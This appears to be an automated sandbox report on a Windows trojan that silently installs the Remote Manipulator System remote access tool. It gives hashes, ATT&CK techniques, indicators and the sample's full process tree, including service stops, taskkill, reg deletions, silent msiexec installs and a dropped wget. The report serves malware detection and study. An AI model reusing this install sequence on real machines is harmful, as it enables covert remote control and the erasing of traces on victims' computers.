rms | c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d

Analysis

max time kernel
149s
max time network
167s
platform
windows7_x64
resource
win7-20220414-en
submitted
15-04-2022 04:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe
Size

6.8MB
MD5

fb95de0cc4413a25e6d53fa25c3c5c0e
SHA1

bfd95642630d2f43c74839e3bef6d39e84a911d0
SHA256

c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d
SHA512

6c40a58313f63ff0f362211ea17dee5264af2139e2c0995a1f249e7f30ac21249c9d0fdb778e2ab2df30d2faa6815e4d85fd376fbf65c25fd32e6751146ff4c6

Score

10^/10

rms evasion rat trojan

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Executes dropped EXE 13 IoCs

pid	Process
2016	set.exe
1048	setting.exe
544	rfusclient.exe
1684	rutserv.exe
1616	rfusclient.exe
1192	rutserv.exe
1108	rfusclient.exe
1084	rutserv.exe
1076	rutserv.exe
544	rfusclient.exe
1244	rfusclient.exe
300	rfusclient.exe
1084	wget.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 36 IoCs

pid	Process
1192	cmd.exe
2016	set.exe
1792	MsiExec.exe
544	rfusclient.exe
544	rfusclient.exe
544	rfusclient.exe
544	rfusclient.exe
544	rfusclient.exe
544	rfusclient.exe
544	rfusclient.exe
1684	rutserv.exe
1616	rfusclient.exe
1616	rfusclient.exe
1616	rfusclient.exe
1616	rfusclient.exe
1616	rfusclient.exe
1616	rfusclient.exe
1192	rutserv.exe
1108	rfusclient.exe
1108	rfusclient.exe
1108	rfusclient.exe
1108	rfusclient.exe
1108	rfusclient.exe
1108	rfusclient.exe
1084	rutserv.exe
1076	rutserv.exe
544	rfusclient.exe
544	rfusclient.exe
1076	rutserv.exe
1244	rfusclient.exe
1244	rfusclient.exe
1244	rfusclient.exe
300	rfusclient.exe
300	rfusclient.exe
1312	cmd.exe
1312	cmd.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\sysfiles\msimg32.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\msvcp90.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\msvcr90.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\rfusclient.exe	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\ripcserver.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\rwln.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\microsoft.vc90.crt.manifest	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\rutserv.exe	msiexec.exe
File created	C:\Windows\SysWOW64\RWLN.dll	rutserv.exe
File created	C:\Windows\SysWOW64\sysfiles\gdiplus.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\vp8decoder.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\dsfvorbisdecoder.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\dsfvorbisencoder.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\oledlg.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\rasadhlp.dll	msiexec.exe
File created	C:\Windows\SysWOW64\sysfiles\vp8encoder.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\RWLN.dll	rutserv.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI7503.tmp	msiexec.exe
File opened for modification	C:\Windows\AdobeUpdates\comp.txt	cmd.exe
File created	C:\Windows\Installer\6c6d27.ipi	msiexec.exe
File created	C:\Windows\Installer\6c6d29.msi	msiexec.exe
File created	C:\Windows\AdobeUpdates\id.txt	cmd.exe
File opened for modification	C:\Windows\AdobeUpdates\id.txt	cmd.exe
File opened for modification	C:\Windows\Installer\6c6d25.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\AdobeUpdates\comp.txt	cmd.exe
File created	C:\Windows\Installer\6c6d25.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6F57.tmp	msiexec.exe
File created	C:\Windows\Installer\{AB7AA605-500F-4153-8207-FB5563419112}\ARPPRODUCTICON.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{AB7AA605-500F-4153-8207-FB5563419112}\ARPPRODUCTICON.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\6c6d27.ipi	msiexec.exe
File created	C:\Windows\AdobeUpdates\mac.txt	cmd.exe
File opened for modification	C:\Windows\AdobeUpdates\mac.txt	cmd.exe
File created	C:\Windows\AdobeUpdates\group.txt	cmd.exe
File opened for modification	C:\Windows\AdobeUpdates\group.txt	cmd.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
1956	tasklist.exe
588	tasklist.exe
1616	tasklist.exe
1952	tasklist.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
1572	taskkill.exe
1684	taskkill.exe
812	taskkill.exe
1348	taskkill.exe

Modifies data under HKEY_USERS 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rfusclient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rfusclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rfusclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rfusclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rfusclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rfusclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rfusclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rfusclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rfusclient.exe

Modifies registry class 24 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\ProductName = "Microsoft Visual C++ 2008 Redistributable - x86 10.0.743894.2047"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\Version = "97648640"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\506AA7BAF00535142870BF5536141921	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\506AA7BAF00535142870BF5536141921\Remote_Office_Manager	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\ProductIcon = "C:\\Windows\\Installer\\{AB7AA605-500F-4153-8207-FB5563419112}\\ARPPRODUCTICON.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\Media\1 = "DISK1;1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\PackageCode = "558594499A0F7BE41A10BED2C55AA173"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17\506AA7BAF00535142870BF5536141921	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\PackageName = "rms5.2.1.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\Language = "1049"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\506AA7BAF00535142870BF5536141921\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
1212	PING.EXE
1344	PING.EXE
1860	PING.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1528	msiexec.exe
1528	msiexec.exe
1684	rutserv.exe
1684	rutserv.exe
1192	rutserv.exe
1192	rutserv.exe
1084	rutserv.exe
1084	rutserv.exe
1076	rutserv.exe
1076	rutserv.exe
1076	rutserv.exe
1076	rutserv.exe
544	rfusclient.exe
1084	wget.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
300	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1956	tasklist.exe
Token: SeDebugPrivilege	1572	taskkill.exe
Token: SeDebugPrivilege	588	tasklist.exe
Token: SeDebugPrivilege	1616	tasklist.exe
Token: SeDebugPrivilege	812	taskkill.exe
Token: SeDebugPrivilege	1952	tasklist.exe
Token: SeShutdownPrivilege	584	msiexec.exe
Token: SeIncreaseQuotaPrivilege	584	msiexec.exe
Token: SeRestorePrivilege	1528	msiexec.exe
Token: SeTakeOwnershipPrivilege	1528	msiexec.exe
Token: SeSecurityPrivilege	1528	msiexec.exe
Token: SeCreateTokenPrivilege	584	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	584	msiexec.exe
Token: SeLockMemoryPrivilege	584	msiexec.exe
Token: SeIncreaseQuotaPrivilege	584	msiexec.exe
Token: SeMachineAccountPrivilege	584	msiexec.exe
Token: SeTcbPrivilege	584	msiexec.exe
Token: SeSecurityPrivilege	584	msiexec.exe
Token: SeTakeOwnershipPrivilege	584	msiexec.exe
Token: SeLoadDriverPrivilege	584	msiexec.exe
Token: SeSystemProfilePrivilege	584	msiexec.exe
Token: SeSystemtimePrivilege	584	msiexec.exe
Token: SeProfSingleProcessPrivilege	584	msiexec.exe
Token: SeIncBasePriorityPrivilege	584	msiexec.exe
Token: SeCreatePagefilePrivilege	584	msiexec.exe
Token: SeCreatePermanentPrivilege	584	msiexec.exe
Token: SeBackupPrivilege	584	msiexec.exe
Token: SeRestorePrivilege	584	msiexec.exe
Token: SeShutdownPrivilege	584	msiexec.exe
Token: SeDebugPrivilege	584	msiexec.exe
Token: SeAuditPrivilege	584	msiexec.exe
Token: SeSystemEnvironmentPrivilege	584	msiexec.exe
Token: SeChangeNotifyPrivilege	584	msiexec.exe
Token: SeRemoteShutdownPrivilege	584	msiexec.exe
Token: SeUndockPrivilege	584	msiexec.exe
Token: SeSyncAgentPrivilege	584	msiexec.exe
Token: SeEnableDelegationPrivilege	584	msiexec.exe
Token: SeManageVolumePrivilege	584	msiexec.exe
Token: SeImpersonatePrivilege	584	msiexec.exe
Token: SeCreateGlobalPrivilege	584	msiexec.exe
Token: SeShutdownPrivilege	1964	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1964	msiexec.exe
Token: SeCreateTokenPrivilege	1964	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1964	msiexec.exe
Token: SeLockMemoryPrivilege	1964	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1964	msiexec.exe
Token: SeMachineAccountPrivilege	1964	msiexec.exe
Token: SeTcbPrivilege	1964	msiexec.exe
Token: SeSecurityPrivilege	1964	msiexec.exe
Token: SeTakeOwnershipPrivilege	1964	msiexec.exe
Token: SeLoadDriverPrivilege	1964	msiexec.exe
Token: SeSystemProfilePrivilege	1964	msiexec.exe
Token: SeSystemtimePrivilege	1964	msiexec.exe
Token: SeProfSingleProcessPrivilege	1964	msiexec.exe
Token: SeIncBasePriorityPrivilege	1964	msiexec.exe
Token: SeCreatePagefilePrivilege	1964	msiexec.exe
Token: SeCreatePermanentPrivilege	1964	msiexec.exe
Token: SeBackupPrivilege	1964	msiexec.exe
Token: SeRestorePrivilege	1964	msiexec.exe
Token: SeShutdownPrivilege	1964	msiexec.exe
Token: SeDebugPrivilege	1964	msiexec.exe
Token: SeAuditPrivilege	1964	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1964	msiexec.exe
Token: SeChangeNotifyPrivilege	1964	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 1192	1320	c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe	28
PID 1320 wrote to memory of 1192	1320	c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe	28
PID 1320 wrote to memory of 1192	1320	c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe	28
PID 1320 wrote to memory of 1192	1320	c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe	28
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 1192 wrote to memory of 2016	1192	cmd.exe	30
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 2016 wrote to memory of 1048	2016	set.exe	31
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1048 wrote to memory of 1312	1048	setting.exe	32
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 1860	1312	cmd.exe	34
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 300	1312	cmd.exe	35
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 1556	1312	cmd.exe	36
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 808	1312	cmd.exe	37
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 816	1312	cmd.exe	38
PID 1312 wrote to memory of 1548	1312	cmd.exe	39
PID 1312 wrote to memory of 1548	1312	cmd.exe	39
PID 1312 wrote to memory of 1548	1312	cmd.exe	39
PID 1312 wrote to memory of 1548	1312	cmd.exe	39

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
300	attrib.exe
1556	attrib.exe
808	attrib.exe
816	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe
"C:\Users\Admin\AppData\Local\Temp\c52b5f0ceac57a4295cc931ddbbe81fced9ad2e55266554caaff2b8a7021fd9d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\123.cmd" "
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Users\Admin\AppData\Local\Temp\set.exe
    set.exe -p1234567890__
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Users\Admin\AppData\Local\Temp\setting.exe
      "C:\Users\Admin\AppData\Local\Temp\setting.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1048
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\install.cmd" "
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        Suspicious use of WriteProcessMemory
        
        PID:1312
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        6⤵
        
        PID:1860
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -H -r "C:\Windows\system32\sysfiles"
        6⤵
        Views/modifies file attributes
        
        PID:300
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -H -r "C:\Windows\syswow64\sysfiles"
        6⤵
        Views/modifies file attributes
        
        PID:1556
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -H -r "C:\Program Files (x86)\Remote Manipulator System - Server"
        6⤵
        Views/modifies file attributes
        
        PID:808
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -H -r "C:\Program Files (x86)\Remote Manipulator System - Server"
        6⤵
        Views/modifies file attributes
        
        PID:816
      - C:\Windows\SysWOW64\net.exe
        
        net stop rmanservice
        6⤵
        
        PID:1548
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop rmanservice
        7⤵
        
        PID:1968
      - C:\Windows\SysWOW64\sc.exe
        
        sc delete "rmanservice"
        6⤵
        
        PID:1816
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1956
      - C:\Windows\SysWOW64\find.exe
        
        find "rfusclient.exe"
        6⤵
        
        PID:1264
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rfusclient.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:588
      - C:\Windows\SysWOW64\find.exe
        
        find "rfusclient.exe *32"
        6⤵
        
        PID:1512
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rfusclient.exe *32
        6⤵
        Kills process with taskkill
        
        PID:1684
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
      - C:\Windows\SysWOW64\find.exe
        
        find "rutserv.exe"
        6⤵
        
        PID:1620
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rutserv.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:812
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1952
      - C:\Windows\SysWOW64\find.exe
        
        find "rutserv.exe *32"
        6⤵
        
        PID:2032
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rutserv.exe *32
        6⤵
        Kills process with taskkill
        
        PID:1348
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /qn REBOOT=ReallySuppress
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:584
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /x {A5DB67DC-DB0E-4491-B9F7-F258A02EE03C} /qn REBOOT=ReallySuppress
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1964
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /x {5B1EC627-A9CA-4BE8-966E-5FCB90ECD770} /qn REBOOT=ReallySuppress
        6⤵
        
        PID:1816
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /x {54D1AB84-6B0B-445D-B7AB-E2B2FEEC3A4F} /qn REBOOT=ReallySuppress
        6⤵
        
        PID:744
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /x {FE83B905-4554-4DFF-97F4-9292178CB171} /qn REBOOT=ReallySuppress
        6⤵
        
        PID:1760
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /x {AB7AA605-500F-4153-8207-FB5563419112} /qn REBOOT=ReallySuppress
        6⤵
        
        PID:1612
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{11A90858-40BB-4858-A2DA-CA6495B5E907}" /f
        6⤵
        
        PID:1748
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\85809A11BB0485842AADAC46595B9E70\InstallProperties" /f
        6⤵
        
        PID:1616
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Installer\Products\85809A11BB0485842AADAC465 95B9E70" /f
        6⤵
        
        PID:1656
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
        6⤵
        
        PID:2012
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AB7AA605-500F-4153-8207-FB5563419112}" /f
        6⤵
        
        PID:1192
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Installer\Products\506AA7BAF00535142870BF5536141921" /f
        6⤵
        
        PID:1116
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6EDC4423414699340B5D245426472701" /f
        6⤵
        
        PID:1848
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E45BAE6295648E74689FC47BF4E730EB" /f
        6⤵
        
        PID:1316
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5052F47A02BDEA469F8EAB572D83BA8" /f
        6⤵
        
        PID:1348
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\System\CurrentControlSet\Services\RManService" /f
        6⤵
        
        PID:1764
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 1 -w 500 google.com.ua
        6⤵
        Runs ping.exe
        
        PID:1212
      - C:\Windows\SysWOW64\msiexec.exe
        
        MsiExec /I "rms5.2.1.msi" /qn
        6⤵
        
        PID:1972
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:1344
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg Query "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4\Server\Parameters"|Find /I "Options"
        6⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\reg.exe
        
        Reg Query "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4\Server\Parameters"
        7⤵
        
        PID:548
        
        C:\Windows\SysWOW64\find.exe
        
        Find /I "Options"
        7⤵
        
        PID:872
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c getmac|Find /I "Tcpip"
        6⤵
        
        PID:1928
        
        C:\Windows\SysWOW64\getmac.exe
        
        getmac
        7⤵
        
        PID:2044
        
        C:\Windows\SysWOW64\find.exe
        
        Find /I "Tcpip"
        7⤵
        
        PID:1592
      - C:\Users\Admin\AppData\Local\Temp\wget.exe
        
